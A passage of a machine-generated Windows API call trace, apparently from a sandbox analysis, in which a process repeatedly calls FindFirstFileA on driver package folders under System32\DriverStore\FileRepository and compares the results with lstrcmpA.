ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.210] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.232] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\brmfport.inf_amd64_neutral_f41f35e5c21bc350\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b2e8284, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6013d6c3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6013d6c3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.239] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.242] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\bth.inf_amd64_neutral_e54666f6a3e5af91\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38143693, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3ba3e59c, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3ba3e59c, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.245] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.248] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\bthmtpenum.inf_amd64_neutral_c70e85b87ee4ece9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd8c4a7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d374f27, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d374f27, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.249] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.250] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\bthpan.inf_amd64_neutral_024281c0e4e954e2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d29879f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x606e4b0e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x606e4b0e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.251] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.251] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\bthprint.inf_amd64_neutral_3c11362fa327f5a4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d92442b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x607c934f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x607c934f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.252] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.253] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\bthspp.inf_amd64_neutral_1b15060bdfbd09e1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d7f3928, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x607a31ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x607a31ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.253] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.254] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\cdrom.inf_amd64_neutral_0b3d0d1942ab684b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39a67f22, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c1164e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c1164e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.255] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.256] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\circlass.inf_amd64_neutral_cf52485bed804e02\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d546063, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60756f2f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60756f2f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.256] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.257] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\compositebus.inf_amd64_neutral_b9280780a8000d4b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3766721f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b686335, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b686335, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.258] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.259] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\cpu.inf_amd64_neutral_ae5de2e1bf2793c3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42df1487, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61f4acbb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61f4acbb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.260] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.265] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\crcdisk.inf_amd64_neutral_d10626d1f8b423c3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3dd4eab2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60815610, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60815610, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.266] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.267] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\cxfalcon_ibv64.inf_amd64_neutral_d065aec3fcf4ec4e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45ee3941, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65b195e9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65b195e9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.270] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.273] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\cxfalpal_ibv64.inf_amd64_neutral_4c42ac5f00413365\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45fc8183, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65b3f749, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65b3f749, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.278] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.288] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\cxraptor_fm1216mk5_ibv64.inf_amd64_neutral_3eaae75b591bd148\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4616b0a6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65b8ba0a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65b8ba0a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.292] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.295] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\cxraptor_fm1236mk5_ibv64.inf_amd64_neutral_b81bec917adfaea5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46229787, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65bd7cca, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65bd7cca, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.307] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.310] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\cxraptor_philipstuv1236d_ibv64.inf_amd64_neutral_b6a3e57df5bad299\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x460ac9c4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65b658a9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65b658a9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.314] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.317] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\dc21x4vm.inf_amd64_neutral_8887242a56ee027e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ee7166, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6218615f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6218615f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.318] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.319] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\digitalmediadevice.inf_amd64_neutral_6fd673519d66ab20\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fea1ef0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60f85ade, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60f85ade, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.320] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.320] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\disk.inf_amd64_neutral_10ce25bbc5a9cc43\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42c28403, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61f24b5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61f24b5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.321] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.322] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\display.inf_amd64_neutral_ea1c8215e52777a6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a218705, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f89c6f4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f89c6f4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.322] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.323] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\divacx64.inf_amd64_neutral_fa0f82f024789743\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x397d4812, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f63b0ef, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f63b0ef, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.327] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.331] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\dot4.inf_amd64_neutral_b89cfac15ccb2fba\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a0c1aa3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f82a2d3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f82a2d3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.334] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.336] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\dot4prt.inf_amd64_neutral_e7d3f62d0d4411db\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36ed0bf1, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b3d8a70, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b3d8a70, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.337] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.338] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\eaphost.inf_amd64_neutral_4506dea11740c089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d20021d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x606e4b0e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x606e4b0e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.338] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.339] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ehstorcertdrv.inf_amd64_neutral_2e1cecffae9c899a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fa9d9c8, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60f5f97d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60f5f97d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.340] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.340] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ehstorpwddrv.inf_amd64_neutral_ecd233d7cabbdebf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3dde7033, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6083b770, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6083b770, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.341] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.342] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\elxstor.inf_amd64_neutral_4263942b9dfe9077\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x420d9b6f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61bded14, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61bded14, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.342] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.343] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\faxca003.inf_amd64_neutral_5b8c7c1dda79bef4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b3a6966, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6013d6c3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6013d6c3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.346] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.350] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\faxcn001.inf_amd64_neutral_d23021a1eb548156\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b465047, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60163824, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60163824, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.351] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.352] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\faxcn002.inf_amd64_neutral_3d392ccc357e04db\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b4d7468, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60163824, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60163824, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.353] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.353] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\fdc.inf_amd64_neutral_bbcfca39fdc02275\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43a9697e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62113d3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62113d3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.354] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.360] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\flpydisk.inf_amd64_neutral_f54222cc59267e1e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439d829d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x62113d3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x62113d3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.361] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.362] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\gameport.inf_amd64_neutral_fe5c4f29488f121e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e1eb55b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x608adb91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x608adb91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.363] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.364] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hal.inf_amd64_neutral_232b95977cf6d84c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42eafb68, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61f4acbb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61f4acbb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.364] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.379] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hcw72b64.inf_amd64_neutral_023772237d3a4ade\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4656f5cd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65cbc50c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65cbc50c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.383] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.386] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hcw85b64.inf_amd64_neutral_22b436d5d06ab017\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x463803e9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65c23f8b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65c23f8b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.389] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.391] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\hcw85c64.inf_amd64_neutral_96b71557b416d04a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4648ad8b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65cbc50c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65cbc50c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.393] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0145.394] FindFirstFileA (in: 